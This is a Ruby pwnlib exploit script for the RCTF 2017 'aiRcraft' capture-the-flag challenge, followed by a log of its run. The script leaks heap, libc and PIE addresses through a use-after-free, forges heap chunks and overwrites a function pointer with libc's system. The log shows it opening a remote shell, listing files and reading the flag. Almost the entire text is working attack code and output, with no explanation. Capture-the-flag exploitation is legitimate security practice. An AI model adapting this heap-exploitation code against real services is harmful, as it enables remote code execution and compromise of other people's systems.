#coding:ascii-8bit require "pwnlib" remote = ARGV[0] == "r" if remote host = "aircraft.2017.teamrois.cn" port = 9731 libc_offset = { "main_arena" => 0x3c3b20, "system" => 0x45390 } else host = "localhost" port = 54321 libc_offset = { "main_arena" => 0x3c3b20, "system" => 0x45390 } end offset = { "finalize_plane" => 0xb7d } class PwnTube def recv_until_prompt recv_until("Your choice: ") end end def tube @tube end def buy_plane(company, name) tube.recv_until_prompt tube.sendline("1") tube.recv_until_prompt tube.sendline("#{company}") tube.recv_until("Input the plane's name: ") tube.send(name) end def build_airport(length, name) tube.recv_until_prompt tube.sendline("2") tube.recv_until("How long is the airport's name? ") tube.sendline("#{length}") tube.recv_until("Please input the name: ") tube.send(name) end def select_airport(index) tube.recv_until_prompt tube.sendline("3") tube.recv_until("Which airport do you want to choose? ") tube.sendline("#{index}") end def select_plane(name) tube.recv_until_prompt tube.sendline("4") tube.recv_until("Which plane do you want to choose? ") tube.send(name) end def list_planes tube.recv_until_prompt tube.sendline("1") end def sell_airport tube.recv_until_prompt tube.sendline("2") end def fly(index) tube.recv_until_prompt tube.sendline("1") tube.recv_until("which airport do you want to fly? ") tube.sendline("#{index}") end def sell_plane tube.recv_until_prompt tube.sendline("2") end def go_to_mainmenu tube.recv_until_prompt tube.sendline("3") end PwnTube.open(host, port){|t| @tube = t puts "[*] leak heap base" build_airport(0x18, "A" * 0x18) buy_plane(13, "1\n") select_plane("1\n") fly(0) go_to_mainmenu select_airport(0) list_planes heap_base = tube.recv_capture(/Build by (.{6})\n/m)[0].ljust(8, "\0").unpack("Q")[0] - 0xa0 puts "heap base = 0x%x" % heap_base puts "[*] leak libc base and PIE base via UAF" go_to_mainmenu build_airport(0x18, "A" * 0x18) payload = "" payload << "A" * 32 # name payload << [heap_base + 0x100].pack("Q") # company payload << [heap_base + 0x110].pack("Q") # airport build_airport(payload.length, payload) select_airport(0) sell_airport select_airport(1) sell_airport select_airport(2) sell_airport payload = "" payload << [heap_base + 0x1c0].pack("Q") # name payload << [heap_base + 0x250].pack("Q") # fake plane build_airport(0x88, payload.ljust(0x88, "\0")) buy_plane(1, "2\n") select_airport(1) list_planes pie_base = tube.recv_capture(/Build by (.{6})\n/m)[0].ljust(8, "\0").unpack("Q")[0] - offset["finalize_plane"] libc_base = tube.recv_capture(/Docked at: (.{6})\n/m)[0].ljust(8, "\0").unpack("Q")[0] - libc_offset["main_arena"] - 0x58 puts "libc base = 0x%x" % libc_base puts "PIE base = 0x%x" % pie_base puts "[*] create fake chunks and free them" go_to_mainmenu payload = "" payload << [0, 0x151].pack("Q*") payload << "A" * 32 # name payload << [0].pack("Q") # company payload << [0].pack("Q") # airport payload << [heap_base + 0x2a0].pack("Q") # prev payload << [heap_base + 0x2a0].pack("Q") # next payload << [0].pack("Q") # finalize build_airport(payload.length, payload) build_airport(0x18, "A" * 0x18) select_airport(3) sell_airport select_airport(4) sell_airport payload = "" payload << [0].pack("Q") # name payload << [heap_base + 0x2a0].pack("Q") # fake plane 1 build_airport(0x88, payload.ljust(0x88, "\0")) buy_plane(1, "3\n") select_airport(2) sell_airport puts "[*] overwrite existing plane" build_airport(0x18, "A" * 0x18) payload = "" payload << [0].pack("Q") * 10 payload << "/bin/sh".ljust(32, "\0") # name payload << [0].pack("Q") # company payload << [0].pack("Q") # airport payload << [heap_base + 0xc0].pack("Q") # prev payload << [0].pack("Q") # next payload << [libc_base + libc_offset["system"]].pack("Q") build_airport(payload.length, payload) puts "[*] launch shell" select_plane("/bin/sh\n") sell_plane tube.interactive }
$ ruby aircraft.rb r [*] connected [*] leak heap base heap base = 0x561b85a55000 [*] leak libc base and PIE base via UAF libc base = 0x7f456061e000 PIE base = 0x561b849f7000 [*] create fake chunks and free them [*] overwrite existing plane [*] launch shell [*] interactive mode pwd / ls -la total 56 drwxr-x--- 17 0 1000 4096 May 20 21:17 . drwxr-x--- 17 0 1000 4096 May 20 21:17 .. -rwxr-x--- 1 0 1000 220 Aug 31 2015 .bash_logout -rwxr-x--- 1 0 1000 3771 Aug 31 2015 .bashrc -rwxr-x--- 1 0 1000 655 Jun 24 2016 .profile -rwxr-x--- 1 0 1000 10264 May 20 21:15 aiRcraft drwxr-xr-x 2 0 0 4096 May 20 21:17 bin drwxr-xr-x 2 0 0 4096 May 20 21:17 dev -rwxr----- 1 0 1000 32 May 14 11:24 flag drwxr-xr-x 27 0 0 4096 May 20 21:17 lib drwxr-xr-x 3 0 0 4096 May 20 21:17 lib32 drwxr-xr-x 2 0 0 4096 May 20 21:17 lib64 cat flag RCTF{H4v3_4_g00d_tr1p_w1th_lul} exit what do you want to do? 1. Buy a new plane 2. Build a new airport 3. Enter a airport 4. Select a plane 5. Exit Your choice: 5 [*] end interactive mode [*] connection closed
FLAG: RCTF{H4v3_4_g00d_tr1p_w1th_lul}